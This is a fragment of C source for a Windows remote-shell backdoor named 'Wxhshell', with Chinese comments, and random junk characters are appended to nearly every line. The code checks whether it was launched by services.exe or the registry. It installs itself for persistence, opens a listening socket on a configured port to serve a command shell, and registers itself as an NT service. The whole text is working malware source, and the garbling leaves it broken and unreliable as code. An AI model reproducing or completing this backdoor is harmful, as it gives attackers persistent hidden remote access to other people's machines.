ULONG UniqueProcessId; qmy3pnL
ULONG InheritedFromUniqueProcessId; 4Pv Pp{Y
} PROCESS_BASIC_INFORMATION; gcI?)F
bnzIDsw!Q
PROCNTQSIP NtQueryInformationProcess; !,Uzt1K:
v\ <4y P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O[<YYL0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
Neb")
[sc4ULS &
HANDLE hProcess; {kOTQG?y
PROCESS_BASIC_INFORMATION pbi; 8M6wc394
o=)["V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <FofRFaS
if(NULL == hInst ) return 0; uXuA4o$t-
N~!
GAaD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sZh| <2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lHI?GiB@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y'U]!c9
n4A#T#D!t3
if (!NtQueryInformationProcess) return 0; s`dwE*~
9D`p2cO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *|*6q/
if(!hProcess) return 0; aH'=k?Of;
.~Gt=F+`s
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D:=Q)Uh0I
U
UYx-x
CloseHandle(hProcess); t2Y2v2 J
I&Z+FL&@f
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d>gN3}tT
if(hProcess==NULL) return 0; .|c=]_{
[,TK"
HMODULE hMod; o?`^
UG-
char procName[255]; L7"B`oa(p
unsigned long cbNeeded; ^@f-Ni\
?Zh,W(7W
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XY)I ~6$Y
IfzW%UL
CloseHandle(hProcess); rp_Aw
E oh{+>:6
if(strstr(procName,"services")) return 1; // 以服务启动 q Oyo+hu
"?Yf3G: \0
return 0; // 注册表启动 *wl&Zzx
} #-7m@EU;O
b{(= C
3
// 主模块 j<PpCL_8%
int StartWxhshell(LPSTR lpCmdLine) +@BjQ|UZ
{ :TRhk.
SOCKET wsl; X$(YCb
BOOL val=TRUE; +2JC**)I
int port=0; %(ms74R+
struct sockaddr_in door; KYM%U"j D
A|<i7QVY
if(wscfg.ws_autoins) Install(); /#Lm)-%G
a_(fqoW
port=atoi(lpCmdLine); ^X|Bzz)
&'"dYZj{
if(port<=0) port=wscfg.ws_port; $TY1'#1U;
uZXG"
WSADATA data; \}:;kO4f
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6QX2&[qWS
|'!9mvt=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M d.^r5r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q=?YY-*$
door.sin_family = AF_INET; \qw1\-q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); q vGP$g
door.sin_port = htons(port); =v6qr~
JLh{>_Rr
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v<:/u(i
closesocket(wsl); %ou@Y`
return 1; <G /a-Z
} cIQe^C
3Bbd2[<W
if(listen(wsl,2) == INVALID_SOCKET) { 4;)aGN{e
closesocket(wsl); Psw<9[
return 1; NxrfRhaU3
} 3Q2z+`x'
Wxhshell(wsl); TQ69O +
WSACleanup(); i/j eb*d0
"W@>lf?"
return 0; rtT*2k*
ueLdjASJ
} >vZ^D
KA{JSi
// 以NT服务方式启动 c;doxNd6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R=<uf:ca
{ G~{#%i
DWORD status = 0; SGUZ'}
DWORD specificError = 0xfffffff; '"]QAj?N
B
j z@X
serviceStatus.dwServiceType = SERVICE_WIN32; 8^5@J)R8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m:]60koz]o
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dw3H9(-lp
serviceStatus.dwWin32ExitCode = 0; `s~[q
serviceStatus.dwServiceSpecificExitCode = 0; H{ +[
,l
serviceStatus.dwCheckPoint = 0; ;hCUy=m.
serviceStatus.dwWaitHint = 0; !Nx'4N`&l
I`S?2i2H
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N'=b8J-fF
if (hServiceStatusHandle==0) return; R:,
|xz
=S<